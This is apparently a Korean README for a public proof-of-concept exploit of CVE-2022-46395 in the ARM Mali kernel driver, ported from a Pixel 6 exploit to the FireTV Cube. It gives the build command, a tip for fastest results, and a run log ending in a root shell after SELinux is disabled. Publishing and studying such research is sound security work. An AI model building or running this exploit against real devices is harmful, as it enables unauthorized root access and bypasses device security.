
FireTV 2nd gen Cube(raven)용 CVE-2022-46395 POC
보안 연구원 Man Yue Mo의 Pixel 6 POC를 포크한 것입니다. 취약점에 대한 자세한 설명은 여기에서 읽을 수 있습니다. FireOS의 32비트 사용자 공간을 고려하여 변경 사항이 적용되었습니다. 이 POC는 ARM Mali 커널 드라이버의 버그를 악용하여 임의 커널 코드 실행을 달성한 후, SELinux를 비활성화하고 루트 권한을 획득합니다.
해당 익스플로잇은 PS7652/3564(2023년 8월 하순)에서 패치되었습니다. 참고로 ndk-21에서 clang을 사용해 컴파일할 때 다음 명령어가 사용되었습니다:
android-ndk-r21d/toolchains/llvm/prebuilt/linux-x86_64/bin/armv7a-linux-androideabi28-clang -DSHELL mali_user_buf.c mempool_utils.c mem_write.c -o raven_buf
가장 빠른 결과를 얻으려면 재부팅 직후에 실행하세요. 평균적으로 POC는 루트 권한을 획득하는 데 2~5분이 소요됩니다.
raven:/ $ /data/local/tmp/raven_buf
Amazon/raven/raven:9/PS7646.3565N/0028085972224:user/amz-p,release-keys
benchmark_time 138
failed after 100
finished reset: 342278966 fault: 338143633 195 err 0 read 3
failed to find pgd, retry
finished reset: 731402639 fault: 724605931 208 err 0 read 3
failed to find pgd, retry
finished reset: 67309348 fault: 66434848 210 err 0 read 3
failed to find pgd, retry
failed after 200
failed after 300
benchmark_time 135
failed after 400
failed after 500
failed after 600
benchmark_time 131
failed after 700
finish reset: 797174916 fault: 788811083 352 err 0 read 3
found pgd at page 6
overwrite addr : 104100634 634
overwrite addr : 104300634 634
overwrite addr : 1041001d0 1d0
overwrite addr : 1043001d0 1d0
result 50
raven:/ #